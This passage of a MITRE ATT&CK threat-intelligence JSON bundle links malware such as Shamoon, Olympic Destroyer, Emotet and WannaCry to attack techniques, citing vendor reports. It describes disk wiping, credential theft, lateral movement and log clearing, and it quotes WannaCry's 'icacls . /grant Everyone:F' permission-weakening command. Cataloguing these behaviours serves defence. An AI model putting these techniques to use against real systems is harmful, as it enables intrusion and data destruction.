                    "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."
                }
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                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
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                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."
                }
            ],
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                    "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."
                }
            ],
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                }
            ],
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used publicly available tools to dump password hashes, including [HOMEFRY](https://attack.mitre.org/software/S0232). (Citation: FireEye APT40 March 2019)",
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                }
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                    "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."
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                    "source_name": "FireEye APT40 March 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html",
                    "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."
                }
            ],
            "description": "(Citation: FireEye APT40 March 2019)",
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                    "source_name": "Microsoft SDelete July 2016",
                    "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.",
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                }
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            "description": "[SDelete](https://attack.mitre.org/software/S0195) deletes data in a way that makes it unrecoverable.(Citation: Microsoft SDelete July 2016)",
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                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
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            "description": "[RawDisk](https://attack.mitre.org/software/S0364) was used in [Shamoon](https://attack.mitre.org/software/S0140) to help overwrite components of disk structure like the MBR and disk partitions.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)",
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                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
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                }
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            "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
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                {
                    "source_name": "Symantec Shamoon 2012",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks",
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019."
                },
                {
                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                },
                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."
                }
            ],
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) has been seen overwriting features of disk structure such as the MBR.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)",
            "relationship_type": "uses",
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                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "source_name": "Symantec MuddyWater Dec 2018"
                },
                {
                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
            ],
            "description": "(Citation: Symantec MuddyWater Dec 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)",
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            "external_references": [
                {
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) attempts to copy itself to remote machines on the network.(Citation: Talos Olympic Destroyer 2018)",
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                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to enumerate all systems in the network.(Citation: Talos Olympic Destroyer 2018)",
            "relationship_type": "uses",
            "id": "relationship--c4a8a9ea-c24a-4ddf-9451-5855da9a4251",
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                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses API calls to enumerate the infected system's ARP table.(Citation: Talos Olympic Destroyer 2018)",
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            "id": "relationship--039364a9-2afd-4ae5-9df0-08d4e583674f",
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            "external_references": [
                {
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to enumerate mapped network shares to later attempt to wipe all files on those shares.(Citation: Talos Olympic Destroyer 2018)",
            "relationship_type": "uses",
            "id": "relationship--c72b2674-e757-4290-9275-cc08a12713be",
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                {
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                },
                {
                    "url": "http://windowsitpro.com/systems-management/psexec",
                    "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.",
                    "source_name": "PsExec Russinovich"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses [PsExec](https://attack.mitre.org/software/S0029) to interact with the <code>ADMIN$</code> network share to execute commands on remote systems.(Citation: Talos Olympic Destroyer 2018)(Citation: PsExec Russinovich)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) contains a module that tries to obtain stored credentials from web browsers.(Citation: Talos Olympic Destroyer 2018)",
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            "id": "relationship--17d2730a-c2b7-4d58-b22f-921600daccfb",
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            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
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                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) utilizes [PsExec](https://attack.mitre.org/software/S0029) to help propagate itself across a network.(Citation: Talos Olympic Destroyer 2018)",
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            "type": "relationship",
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                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) contains a module that tries to obtain credentials from LSASS, similar to [Mimikatz](https://attack.mitre.org/software/S0002). These credentials are used with [PsExec](https://attack.mitre.org/software/S0029) and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to help the malware propagate itself across a network.(Citation: Talos Olympic Destroyer 2018)",
            "relationship_type": "uses",
            "id": "relationship--e998971c-c944-4255-8831-89d49d0e5285",
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            "external_references": [
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                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses WMI to help propagate itself across a network.(Citation: Talos Olympic Destroyer 2018)",
            "relationship_type": "uses",
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                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) overwrites files locally and on remote shares.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) ",
            "relationship_type": "uses",
            "id": "relationship--7767d727-fba8-4b7a-b7fe-137ed9261680",
            "type": "relationship",
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        {
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            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
            "external_references": [
                {
                    "source_name": "Malwarebytes Emotet Dec 2017",
                    "url": "https://support.malwarebytes.com/docs/DOC-2295",
                    "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019."
                },
                {
                    "source_name": "Symantec Emotet Jul 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor",
                    "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."
                },
                {
                    "source_name": "US-CERT Emotet Jul 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Secureworks Emotet Nov 2018",
                    "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader",
                    "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019."
                },
                {
                    "source_name": "CIS Emotet Dec 2018",
                    "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/",
                    "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed using a hard coded list of passwords to brute force user accounts. (Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: CIS Emotet Dec 2018) ",
            "relationship_type": "uses",
            "id": "relationship--0c76bb94-1a6e-4ec6-9faa-2b444d80002c",
            "type": "relationship",
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            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "external_references": [
                {
                    "source_name": "LogRhythm WannaCry",
                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."
                },
                {
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "source_name": "FireEye WannaCry 2017"
                },
                {
                    "description": "US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-132A",
                    "source_name": "US-CERT WannaCry 2017"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses an exploit in SMBv1 to spread itself to other remote systems on a network.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: US-CERT WannaCry 2017)",
            "relationship_type": "uses",
            "id": "relationship--0e12dc13-6f73-4ad9-9cb5-845d443b4d58",
            "type": "relationship",
            "modified": "2019-04-22T11:43:33.324Z",
            "created": "2019-03-25T19:13:54.931Z"
        },
        {
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            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee",
            "external_references": [
                {
                    "source_name": "LogRhythm WannaCry",
                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses <code>attrib +h</code> and <code>icacls . /grant Everyone:F /T /C /Q</code> to make some of its files hidden and grant all users full access controls.(Citation: LogRhythm WannaCry)",
            "relationship_type": "uses",
            "id": "relationship--c49a3d89-c8fa-4c5d-813e-f4495d892d1a",
            "type": "relationship",
            "modified": "2020-03-17T15:13:03.314Z",
            "created": "2019-03-25T19:13:54.947Z"
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "Trend Micro Emotet Jan 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been seen exfiltrating system information stored within cookies sent within an HTTP GET request back to its C2 servers. (Citation: Trend Micro Emotet Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--5201448e-f009-4c24-abb5-9382383dc42d",
            "type": "relationship",
            "modified": "2019-06-28T15:25:29.213Z",
            "created": "2019-03-25T19:31:02.139Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "external_references": [
                {
                    "source_name": "CIS Emotet Dec 2018",
                    "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/",
                    "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed leveraging a module that scrapes email data from Outlook.(Citation: CIS Emotet Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--ea023f09-6a7d-445c-a39d-5e57eea2706b",
            "type": "relationship",
            "modified": "2020-03-17T16:21:11.186Z",
            "created": "2019-03-25T19:31:02.184Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Talos Emotet Jan 2019",
                    "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html",
                    "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Trend Micro Emotet Jan 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."
                },
                {
                    "source_name": "Picus Emotet Dec 2018",
                    "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html",
                    "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."
                },
                {
                    "source_name": "ESET Emotet Dec 2018",
                    "url": "https://www.welivesecurity.com/2018/12/28/analysis-latest-emotet-propagation-campaign/",
                    "description": "Perez, D.. (2018, December 28). Analysis of the latest Emotet propagation campaign. Retrieved April 16, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has obfuscated macros within malicious documents to hide the URLs hosting the malware,  CMD.exe arguments, and PowerShell scripts. (Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: ESET Emotet Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--9f6eef25-7a90-4f74-a788-8022166952f8",
            "type": "relationship",
            "modified": "2019-06-28T15:25:29.209Z",
            "created": "2019-03-25T19:31:02.187Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "external_references": [
                {
                    "source_name": "US-CERT Emotet Jul 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."
                },
                {
                    "source_name": "CIS Emotet Dec 2018",
                    "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/",
                    "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed leveraging a module that retrieves passwords stored on a system for the current logged-on user. (Citation: US-CERT Emotet Jul 2018)(Citation: CIS Emotet Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--09c80e35-2839-4b5b-aad8-8f81db8da551",
            "type": "relationship",
            "modified": "2019-06-28T15:25:29.282Z",
            "created": "2019-03-25T19:31:02.191Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "source_name": "Trend Micro Emotet Jan 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed dropping password grabber modules including [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: Trend Micro Emotet Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--a0321bbd-edab-4ee6-be37-979015511e4a",
            "type": "relationship",
            "modified": "2020-03-19T22:47:20.775Z",
            "created": "2019-03-25T19:31:02.198Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "external_references": [
                {
                    "source_name": "CIS Emotet Apr 2017",
                    "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/",
                    "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019."
                },
                {
                    "source_name": "Talos Emotet Jan 2019",
                    "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html",
                    "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Trend Micro Emotet Jan 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."
                },
                {
                    "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.",
                    "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/",
                    "source_name": "Carbon Black Emotet Apr 2019"
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has used ports 20, 22, 80, 443, 8080, and 8443.(Citation: CIS Emotet Apr 2017)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: Carbon Black Emotet Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--76431b6e-a40b-4a97-82be-3eed34b4e5cb",
            "type": "relationship",
            "modified": "2019-06-28T15:25:29.345Z",
            "created": "2019-03-25T19:31:02.202Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "external_references": [
                {
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) will attempt to clear the System and Security event logs using <code>wevtutil</code>.(Citation: Talos Olympic Destroyer 2018)",
            "relationship_type": "uses",
            "id": "relationship--4d880164-0891-4721-b393-7e3a3bcc0fd9",
            "type": "relationship",
            "modified": "2020-02-18T03:50:33.687Z",
            "created": "2019-03-25T20:04:10.745Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
                    "source_name": "SecureWorks WannaCry Analysis"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) will attempt to determine the local network segment it is a part of.(Citation: SecureWorks WannaCry Analysis)",
            "relationship_type": "uses",
            "id": "relationship--b3c7d447-9b00-4bd6-b0b7-25c0bb56d28a",
            "type": "relationship",
            "modified": "2019-04-22T11:43:33.396Z",
            "created": "2019-03-26T13:38:24.526Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "external_references": [
                {
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "source_name": "FireEye WannaCry 2017"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) contains a thread that will attempt to scan for new attached drives every few seconds. If one is identified, it will encrypt the files on the attached device.(Citation: FireEye WannaCry 2017)",
            "relationship_type": "uses",
            "id": "relationship--3f58682a-dc04-40f6-b224-42bab6ef6f67",
            "type": "relationship",
            "modified": "2019-04-22T11:43:33.401Z",
            "created": "2019-03-26T13:38:24.556Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "external_references": [
                {
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
                    "source_name": "SecureWorks WannaCry Analysis"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) scans its local network segment for remote systems to try to exploit and copy itself to.(Citation: SecureWorks WannaCry Analysis)",
            "relationship_type": "uses",
            "id": "relationship--7a116d1c-33ab-4729-abff-2e37dc387f31",
            "type": "relationship",
            "modified": "2019-04-22T11:43:33.445Z",
            "created": "2019-03-26T13:38:24.559Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
            "external_references": [
                {
                    "source_name": "LogRhythm WannaCry",
                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) enumerates current remote desktop sessions and tries to execute the malware on each session.(Citation: LogRhythm WannaCry)",
            "relationship_type": "uses",
            "id": "relationship--6b22c256-44a9-4b73-8df6-e4da9c32a5a3",
            "type": "relationship",
            "modified": "2020-03-27T20:07:01.402Z",
            "created": "2019-03-26T13:38:24.564Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
            "external_references": [
                {
                    "source_name": "LogRhythm WannaCry",
                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."
                },
                {
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "source_name": "FireEye WannaCry 2017"
                },
                {
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
                    "source_name": "SecureWorks WannaCry Analysis"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) encrypts user files and demands that a ransom be paid in Bitcoin to decrypt those files.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)",
            "relationship_type": "uses",
            "id": "relationship--5c56206f-8ae3-4296-ab89-bc2036b74896",
            "type": "relationship",
            "modified": "2019-04-22T11:43:33.394Z",
            "created": "2019-03-26T13:38:24.567Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
